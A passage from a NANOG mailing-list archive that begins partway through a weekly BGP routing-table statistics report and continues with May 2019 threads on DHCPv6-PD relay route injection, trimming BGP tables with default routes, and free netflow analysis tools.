159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 207489 Total RIPE prefixes after maximum aggregation: 98322 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 203854 Unique aggregates announced from the RIPE address blocks: 120864 RIPE Region origin ASes present in the Internet Routing Table: 26062 RIPE Prefixes per ASN: 7.82 RIPE Region origin ASes announcing only one prefix: 11568 RIPE Region transit ASes present in the Internet Routing Table: 3719 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8106 Number of RIPE addresses announced to Internet: 719355520 Equivalent to 42 /8s, 224 /16s and 126 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 96989 Total LACNIC prefixes after maximum aggregation: 21912 LACNIC Deaggregation factor: 4.43 Prefixes being announced from the LACNIC address blocks: 98392 Unique aggregates announced from the LACNIC address blocks: 42564 LACNIC Region origin ASes present in the Internet Routing Table: 8376 LACNIC Prefixes per ASN: 11.75 LACNIC Region origin ASes announcing only one prefix: 2218 LACNIC Region transit ASes present in the Internet Routing Table: 1543 Average LACNIC Region AS path length visible: 5.0 Max LACNIC Region AS path length visible: 29 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 5929 Number of LACNIC addresses announced to Internet: 174042368 Equivalent to 10 /8s, 95 /16s and 173 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21404 Total AfriNIC prefixes after maximum aggregation: 4289 AfriNIC Deaggregation factor: 4.99 Prefixes being announced from the AfriNIC address blocks: 28196 Unique aggregates announced from the AfriNIC address blocks: 9119 AfriNIC Region origin ASes present in the Internet Routing Table: 1276 AfriNIC Prefixes per ASN: 22.10 AfriNIC Region origin ASes announcing only one prefix: 436 AfriNIC Region transit ASes present in the Internet Routing Table: 244 Average AfriNIC Region AS path length visible: 4.9 Max AfriNIC Region AS path length visible: 24 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 554 Number of AfriNIC addresses announced to Internet: 105021696 Equivalent to 6 /8s, 66 /16s and 129 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4741 546 555 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3167 1443 27 VIETEL-AS-AP Viettel Group, VN 45899 3038 1745 112 VNPT-AS-VN VNPT Corp, VN 9808 2846 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2734 1496 551 BSNL-NIB National Internet Backbone, IN 4766 2543 11120 760 KIXS-AS-KR Korea Telecom, KR 9394 2154 4882 26 CTTNET China TieTong Telecommunications 4755 2136 428 182 TATACOMM-AS TATA Communications formerl 9498 2050 427 170 BBIL-AP BHARTI Airtel Ltd., IN 23969 1765 314 16 TOT-NET TOT Public Company Limited, TH Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4065 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3654 238 582 CABLEONE - CABLE ONE, INC., US 6327 3634 1325 93 SHAW - Shaw Communications Inc., CA 22773 3401 2974 155 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2785 6041 1202 AMAZON-02 - Amazon.com, Inc., US 16625 2443 1337 1851 AKAMAI-AS - Akamai Technologies, Inc., 30036 2169 350 159 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2150 2758 525 CHARTER-20115 - Charter Communications, 18566 2100 405 108 MEGAPATH5-US - MegaPath Corporation, US 5650 2086 3074 1462 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5432 1629 140 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3211 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2670 524 1924 AKAMAI-ASN1, US 12389 2244 2223 636 ROSTELECOM-AS, RU 34984 2080 343 543 TELLCOM-AS, TR 9121 1668 1692 18 TTNET, TR 13188 1601 100 47 TRIOLAN, UA 9009 1455 151 793 M247, GB 8402 1222 545 15 CORBINA-AS OJSC "Vimpelcom", RU Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5751 3368 573 Uninet S.A. de C.V., MX 10620 3432 535 405 Telmex Colombia S.A., CO 11830 2708 384 34 Instituto Costarricense de Electricidad 3816 1530 579 213 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 7303 1479 1020 258 Telecom Argentina S.A., AR 28573 1390 2236 203 CLARO S.A., BR 6503 1263 433 53 Axtel, S.A.B. de C.V., MX 6147 1200 377 30 Telefonica del Peru S.A.A., PE 13999 983 513 247 Mega Cable, S.A. de C.V., MX 11172 936 143 61 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1158 393 21 LINKdotNET-AS, EG 37611 906 107 9 Afrihost, ZA 24835 888 648 21 RAYA-AS, EG 36992 829 1536 69 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 685 1731 19 TE-AS TE-AS, EG 29571 512 68 12 ORANGE-COTE-IVOIRE, CI 37492 470 470 57 ORANGE-, TN 15706 421 32 6 Sudatel, SD 23889 414 231 15 MauritiusTelecom, MU Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5751 3368 573 Uninet S.A. de C.V., MX 12479 5432 1629 140 UNI2-AS, ES 7545 4741 546 555 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4065 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3654 238 582 CABLEONE - CABLE ONE, INC., US 6327 3634 1325 93 SHAW - Shaw Communications Inc., CA 10620 3432 535 405 Telmex Colombia S.A., CO 22773 3401 2974 155 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 8551 3211 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5432 5292 UNI2-AS, ES 7545 4741 4186 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4065 4040 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3634 3541 SHAW - Shaw Communications Inc., CA 22773 3401 3246 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 3211 3166 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 7552 3167 3140 VIETEL-AS-AP Viettel Group, VN 11492 3654 3072 CABLEONE - CABLE ONE, INC., US 10620 3432 3027 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 65544 DOCUMENT 103.75.239.0/24 135000 ONS-BD OPEN NETWORK SOLUTIONS 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 65551 DOCUMENT 149.165.246.0/24 19782 INDIANAGIGAPOP - Indiana Unive 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit 64011 UNALLOCATED 166.133.128.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ 41.242.92.0/24 37643 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:12 /9:11 /10:38 /11:100 /12:295 /13:571 /14:1131 /15:1911 /16:13323 /17:8001 /18:13957 /19:25827 /20:40305 /21:46996 /22:93871 /23:76625 /24:430648 /25:918 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4363 5432 UNI2-AS, ES 6327 3409 3634 SHAW - Shaw Communications Inc., CA 7155 3156 4065 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2860 3654 CABLEONE - CABLE ONE, INC., US 8551 2665 3211 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 22773 2641 3401 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 11830 2053 2708 Instituto Costarricense de Electricidad y Telec 18566 1995 2100 MEGAPATH5-US - MegaPath Corporation, US 30036 1919 2169 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1600 2:1022 3:6 4:21 5:3151 6:47 7:1 8:1308 9:1 12:1801 13:342 14:2014 15:36 16:4 17:262 18:58 20:52 23:2701 24:2505 25:2 27:2459 31:1984 32:100 35:35 36:865 37:3023 38:1737 39:293 40:122 41:3288 42:781 43:2035 44:150 45:7842 46:3292 47:258 49:1363 50:1107 51:322 52:1010 54:281 55:708 56:6 57:45 58:1753 59:1057 60:506 61:2181 62:2148 63:1826 64:4971 65:2203 66:4828 67:2780 68:1162 69:3541 70:1370 71:632 72:2629 74:2740 75:1289 76:557 77:1824 78:1838 79:2288 80:1806 81:1492 82:1128 83:949 84:1132 85:2283 86:540 87:1555 88:1053 89:2640 90:218 91:6564 92:1404 93:2487 94:2497 95:3288 96:946 97:342 98:964 99:757 100:88 101:1160 102:580 103:21225 104:3546 105:253 106:776 107:1765 108:694 109:3751 110:1666 111:2066 112:1507 113:1403 114:1233 115:1708 116:1754 117:1920 118:2091 119:1634 120:1042 121:1043 122:2361 123:1720 124:1492 125:1960 128:1251 129:839 130:531 131:1820 132:806 133:222 134:1095 135:242 136:575 137:768 138:2037 139:887 140:647 141:882 142:801 143:1049 144:878 145:497 146:1275 147:837 148:1681 149:942 150:807 151:1020 152:1064 153:334 154:3180 155:920 156:1641 157:1006 158:654 159:1950 160:1609 161:927 162:2957 163:816 164:1206 165:1593 166:430 167:1407 168:3332 169:869 170:4130 171:578 172:1647 173:2224 174:1045 175:930 176:2323 177:4221 178:2540 179:1397 180:2092 181:2425 182:2692 183:1074 184:2250 185:15132 186:3684 187:2492 188:2922 189:1992 190:8249 191:1547 192:10056 193:6681 194:5437 195:4137 196:3113 197:1790 198:5949 199:5978 200:7131 201:5092 202:10426 203:10138 204:4545 205:3049 206:3238 207:3251 208:3939 209:4243 210:3926 211:2016 212:3096 213:2925 214:1110 215:55 216:5933 217:2226 218:876 219:593 220:1862 221:968 222:983 223:1370 End of report From tim.h at bendtel.com Fri May 17 18:41:44 2019 From: tim.h at bendtel.com (Tim Howe) Date: Fri, 17 May 2019 11:41:44 -0700 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> Message-ID: <20190517114144.760b2cbe@Morty> On Tue, 14 May 2019 22:27:09 -0400 Brandon Martin wrote: > Is there a standard that defines/recommends behavior for route injection > of snooped DHCPv6-PD (or IA, I guess) assignments on routers running > relay agents? That is, snooping or otherwise examining a relayed DHCPv6 > response for a delegated prefix (or IA, if you want) and installing a > quasi-static route toward the relevant next-hop based on the lifetime of > the delegation. Typical redistribution can then be used to put it in > IGP if you want. > > It seems to be a common feature - Cisco ("Relay Agent Notification" on > IOS-XE), Juniper ("DHCPv6-PD Route injection" on JunOS), and Arista > ("ipv6 dhcp relay install routes" on EOS), and Ruckus ("Relay Agent > Prefix Delegation Notification" on FastIron) all seem to support it. > > Google has, however, failed me at finding any standard that defines or > recommends corresponding behavior. RFC 8415 punts on the issue: I went through that same search a little over a year ago. I'm curious if you got any off-list replies of interest. We use dhcpv6 relay on Juniper ACX5048 (should be same on MX series). It did not work out of the box for me; Juniper had to fix a fundamental way it worked in order to work with some clients (pretty much anything Broadcom based at least). I'm running working code now (17.4R2.4). I was very pleased Juniper took the problem so seriously and fixed it... That hasn't been my experience with every vendor. I can provide some info about how it works and what "working" looks like if you are curious. Getting native dual-stack fully working has been a long, strange road as a small ISP. I'm thinking about writing something up about my experience so far. --TimH From blake at ispn.net Fri May 17 19:43:11 2019 From: blake at ispn.net (Blake Hudson) Date: Fri, 17 May 2019 14:43:11 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: <3ef28630-a0d5-3bcd-1b7c-07750f5544cd@ispn.net> Baldur Norddahl wrote on 5/17/2019 11:05 AM: > > > On Fri, May 17, 2019 at 3:28 PM Blake Hudson > wrote: > >  From my perspective one's ability to intelligently route IP > traffic is > directly correlated to the data they have available (their routing > protocol and table) > > > One point perhaps being missed by some is that routing decisions are > not always best made in the very last moment when you have a packet > and need to decide on the destination. The culling of routing table I > wanted to do is on a full feed from my upstream providers. I am not > taking a default, but I may add a default manually. > > Think about this way to save at least half the size of the FIB with > two transit providers: Find out which provider has the most prefixes > going their way. Make a default to them and a route-map that drops > every route. For the other provider, keep only the routes where they > have better routing. This way you only use FIB space for the smaller > provider. Everything else goes by default through the larger provider. > > Now doing that in practice is hard because router vendors did > generally not make route-map or similar constructs flexible enough for > the needed logic. > > But we can do other things, some of which have already been proposed > in this thread. Like before have a default to the "best" of your > transit providers and using culling to drop routes. Are we not all > doing something like that already, with route maps to give some routes > higher priority instead of always going strict shortest AS-path? Only > difference is that you can fully drop the routes from FIB if you > install defaults to handle it instead. > > Or what if I know that one of my transit providers are really good > with Asia? I just want traffic to Asia by default go to them. I can > install my own covering routes from the APNIC address space and then > save a ton of FIB space by dropping routes within that space. I can > have exceptions if needed. > > The above does not give you poorer routing decisions and may give you > better. > > Regards, > > Baldur > Baldur, I believe most routing platforms already make use of clever shortcuts or techniques to reduce their FIB usage, but I don't think anyone has found a good, reliable method of reducing their RIB at zero cost. For example, what happens in your above configuration when your "better/default" transit provider is down due to maintenance or outage and your equipment continues to use its default route to direct traffic that direction? What happens if the transit provider that you normally only retain the best paths for becomes the best path for all destinations (for example if your connection to the better/default transit provider is down for maintenance or there is an upsteam peering change) and your router that normally only has a few thousand routes in RIB suddenly gets tasked with a 768k-1M route RIB? I would argue that one can generally safely add information to his or her router's RIB (such as adding a local preference, weight, or advertising with prepends to direct traffic toward a better performing, less utilized, or lower cost peer), but that removing information from a router's RIB always comes at some cost (and some may find this cost perfectly acceptable). -------------- next part -------------- An HTML attachment was scrubbed... URL: From baldur.norddahl at gmail.com Fri May 17 20:02:45 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Fri, 17 May 2019 22:02:45 +0200 Subject: BGP prefix filter list In-Reply-To: <3ef28630-a0d5-3bcd-1b7c-07750f5544cd@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <3ef28630-a0d5-3bcd-1b7c-07750f5544cd@ispn.net> Message-ID: On Fri, May 17, 2019 at 9:44 PM Blake Hudson wrote: > Baldur, I believe most routing platforms already make use of clever > shortcuts or techniques to reduce their FIB usage, but I don't think anyone > has found a good, reliable method of reducing their RIB at zero cost. For > example, what happens in your above configuration when your > "better/default" transit provider is down due to maintenance or outage and > your equipment continues to use its default route to direct traffic that > direction? > You will of course have two default routes, one to each transit provider. Using route priorities to program which one is actually used. If that link goes down, that default becomes invalid and the router will use the other one. A more advanced setup can use triggers, such as ping, bfd or BGP, to mark the route as valid or invalid. > What happens if the transit provider that you normally only retain the > best paths for becomes the best path for all destinations (for example if > your connection to the better/default transit provider is down for > maintenance or there is an upsteam peering change) and your router that > normally only has a few thousand routes in RIB suddenly gets tasked with a > 768k-1M route RIB? > I am not sure I am following that question. Nothing happens, you will have a default plus a bunch of redundant routes, but not any more than you had before the primary transit went down. > > I would argue that one can generally safely add information to his or her > router's RIB (such as adding a local preference, weight, or advertising > with prepends to direct traffic toward a better performing, less utilized, > or lower cost peer), but that removing information from a router's RIB > always comes at some cost (and some may find this cost perfectly > acceptable). > > One needs to remember that removing information from RIB is how BGP works. If you have the common setup of two BGP edge routers, each with a directly connected transit provider link, the routers will only tell the other one about the routes it actually uses. Neither router has a complete view. Regards, Baldur -------------- next part -------------- An HTML attachment was scrubbed... URL: From ross at tajvar.io Fri May 17 20:36:21 2019 From: ross at tajvar.io (Ross Tajvar) Date: Fri, 17 May 2019 16:36:21 -0400 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <20190517114144.760b2cbe@Morty> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <20190517114144.760b2cbe@Morty> Message-ID: On Fri, May 17, 2019 at 2:44 PM Tim Howe wrote: > Getting native dual-stack fully working > has been a long, strange road as a small ISP. I'm thinking about > writing something up about my experience so far. > I would definitely read that. -------------- next part -------------- An HTML attachment was scrubbed... URL: From blake at ispn.net Fri May 17 20:43:16 2019 From: blake at ispn.net (Blake Hudson) Date: Fri, 17 May 2019 15:43:16 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <3ef28630-a0d5-3bcd-1b7c-07750f5544cd@ispn.net> Message-ID: <8b27bcb5-04e2-3c4c-e773-5bb7b135ef54@ispn.net> > > I would argue that one can generally safely add information to his > or her router's RIB (such as adding a local preference, weight, or > advertising with prepends to direct traffic toward a better > performing, less utilized, or lower cost peer), but that removing > information from a router's RIB always comes at some cost (and > some may find this cost perfectly acceptable). > > > One needs to remember that removing information from RIB is how BGP > works. If you have the common setup of two BGP edge routers, each with > a directly connected transit provider link, the routers will only tell > the other one about the routes it actually uses. Neither router has a > complete view. > > I manage a network like you describe: Two BGP edge routers, both routers accept a full eBGP feed from transit, both share routing information via iBGP. Both edge routers in my network have a complete view. If one transit provider is down or there is an upstream peering change, both still have a complete view. The only time they wouldn't have a complete view is during convergence or when there is a simultaneous outage of both transit providers at different physical facilities. I could certainly use a default route (configured statically or received via BGP) instead, but that reduces my network's ability to make informed decisions. When one of my upstream transit providers is performing maintenance and loses a peer, I want that to be reflected in my routing so that traffic can be directed via the shortest path. When my transit provider's edge router loses upstream connectivity, but maintains connectivity to my equipment, I want that reflected in my routing so that traffic doesn't go towards the path that leads to the bit bucket. I can't detect those conditions and route around them if my router only has a default route. -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists.nanog at monmotha.net Sat May 18 00:10:24 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Fri, 17 May 2019 20:10:24 -0400 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <20190517114144.760b2cbe@Morty> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <20190517114144.760b2cbe@Morty> Message-ID: <51767d90-7ddf-f203-0ae0-19443def8f29@monmotha.net> On 5/17/19 2:41 PM, Tim Howe wrote: > I'm curious if you got any off-list replies of interest. Unfortunately no. Only inquiry I got was one related to support for it in Arista EOS which unfortunately I can't speak well toward since I don't have Arista gear. For those keeping tabs at home, though, I think the feature appeared in EOS 4.20.1f. Sounds like this may be an area that could use some standardization or best practice documentation even if it's basically just to condense existing practice into something concrete. -- Brandon Martin From cjc+nanog at pumpky.net Sat May 18 04:19:02 2019 From: cjc+nanog at pumpky.net (Crist Clark) Date: Fri, 17 May 2019 21:19:02 -0700 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: Been loving Elastiflow. Way overkill for what you need, but it's actually pretty easy to setup. https://github.com/robcowart/elastiflow On Fri, May 17, 2019 at 7:25 AM Dennis Burgess via NANOG wrote: > > I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. > > > > Thanks in advance. > > > > > > Dennis Burgess, Mikrotik Certified Trainer > > Author of "Learn RouterOS- Second Edition” > > Link Technologies, Inc -- Mikrotik & WISP Support Services > > Office: 314-735-0270 Website: http://www.linktechs.net > > Create Wireless Coverage’s with www.towercoverage.com > > From hugo at slabnet.com Sat May 18 04:26:46 2019 From: hugo at slabnet.com (Hugo Slabbert) Date: Fri, 17 May 2019 21:26:46 -0700 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <20190518042646.GA18096@bamboo.slabnet.com> Also was a favourite last time this discussion popped up (in recent memory): https://mailman.nanog.org/pipermail/nanog/2018-March/094490.html -- Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com pgp key: B178313E | also on Signal On Fri 2019-May-17 21:19:02 -0700, Crist Clark wrote: >Been loving Elastiflow. Way overkill for what you need, but it's >actually pretty easy to setup. > >https://github.com/robcowart/elastiflow > > >On Fri, May 17, 2019 at 7:25 AM Dennis Burgess via NANOG > wrote: >> >> I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. >> >> >> >> Thanks in advance. >> >> >> >> >> >> Dennis Burgess, Mikrotik Certified Trainer >> >> Author of "Learn RouterOS- Second Edition” >> >> Link Technologies, Inc -- Mikrotik & WISP Support Services >> >> Office: 314-735-0270 Website: http://www.linktechs.net >> >> Create Wireless Coverage’s with www.towercoverage.com >> >> -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 836 bytes Desc: Digital signature URL: From nanog at radu-adrian.feurdean.net Sat May 18 06:33:20 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Sat, 18 May 2019 08:33:20 +0200 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> Message-ID: <719f7d7f-6c84-4dcc-9346-1683f4cfab50@www.fastmail.com> On Wed, May 15, 2019, at 04:28, Brandon Martin wrote: > Is there a standard that defines/recommends behavior for route injection > of snooped DHCPv6-PD (or IA, I guess) assignments on routers running > relay agents? That is, snooping or otherwise examining a relayed DHCPv6 > response for a delegated prefix (or IA, if you want) and installing a > quasi-static route toward the relevant next-hop based on the lifetime of > the delegation. Typical redistribution can then be used to put it in > IGP if you want. This feature is usually found packed with the BNG/BRAS/broadband termination functionality. The keyword you need to search is "subscriber". The feaure pack is usually subject to additional licensing. Cisco, Juniper, Nokia/ALU, all have product ranges supporting that. Those being said, I'm interested in how that feature is supported on gear that is not "subscriber-aware" (you were talking about Arista), since generating routing information from relayed DHCP(v6) is a big/important part of the "subscriber management" functionality. -- R-A.F. From lists.nanog at monmotha.net Sat May 18 07:51:04 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Sat, 18 May 2019 03:51:04 -0400 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: <719f7d7f-6c84-4dcc-9346-1683f4cfab50@www.fastmail.com> References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <719f7d7f-6c84-4dcc-9346-1683f4cfab50@www.fastmail.com> Message-ID: On 5/18/19 2:33 AM, Radu-Adrian Feurdean wrote: > Those being said, I'm interested in how that feature is supported on gear that is not "subscriber-aware" (you were talking about Arista), since generating routing information from relayed DHCP(v6) is a big/important part of the "subscriber management" functionality. What it does is hook into the DHCPv6 lightweight relay functionality. Basically, it just snoops the DHCPv6 replies for a PD assignment and inserts a quasi-static route into its table for anything that it sees with next-hop pointing at wherever the reply was going. The static route is time-limited and gets removed when the delegation expires (or presumably if it sees a release of the corresponding resources). It stores the database of those learned delegations, including expiry, in persistent memory so that it can re-install them in event of a reload. Obviously having good reltime information on the router is important for this. The key here is that it doesn't care about "who" is getting the resources or why. All it cares is that it saw a DHCPv6 reply via its relay that included a delegated prefix. Juniper, at least, and presumably Cisco too, also implement a means to get that information via RADIUS. That may be more what you're thinking of? I'm not sure that the Cisco implementation I'm thinking of requires the BNG/BRAS features to be licensed. See [1] under heading "DHCPv6 Relay Agent Notification for Prefix Delegation". In particular, note: > No user configuration is required for this feature. Static route management is done automatically by the relay agent. It sounds like it operates similar to how I described above. Basically, you can relegate your "subscriber management" to simple DHCP if such a lightweight implementation is sufficient for your needs. ----- [1] https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ipaddr_dhcp/configuration/xe-3s/dhcp-xe-3s-book/ip6-dhcp-rel-agent-xe.pdf -- Brandon Martin From nanog at radu-adrian.feurdean.net Sat May 18 08:44:23 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Sat, 18 May 2019 10:44:23 +0200 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <719f7d7f-6c84-4dcc-9346-1683f4cfab50@www.fastmail.com> Message-ID: On Sat, May 18, 2019, at 09:52, Brandon Martin wrote: > What it does is hook into the DHCPv6 lightweight relay functionality. > Basically, it just snoops the DHCPv6 replies for a PD assignment and > inserts a quasi-static route into its table for anything that it sees > with next-hop pointing at wherever the reply was going. The static > route is time-limited and gets removed when the delegation expires (or > presumably if it sees a release of the corresponding resources). It > stores the database of those learned delegations, including expiry, in Yep, that's exactly the expected behaviour (or at least a big part of it)... providedit's implemented properly. > persistent memory so that it can re-install them in event of a reload. That's an interesting point, most subscriber management implementations don't implement this, requiring low dhcp timers. > The key here is that it doesn't care about "who" is getting the > resources or why. All it cares is that it saw a DHCPv6 reply via its > relay that included a delegated prefix. Exactly, that's dhcp server's job. Or at least that's what I do at $job[$now]. > Juniper, at least, and presumably Cisco too, also implement a means to > get that information via RADIUS. That may be more what you're thinking of? That's "subscriber management". On Cisco (A9K and A1K) and NokiALU (SR 7750) you normally need a license, even if it's (for now) honor-based. On Cisco it'the "broadband"/BNG, on NokiALU it's "xK subscribers". > I'm not sure that the Cisco implementation I'm thinking of requires the > BNG/BRAS features to be licensed. See [1] under heading "DHCPv6 Relay > Agent Notification for Prefix Delegation". In particular, note: That one seems to be the 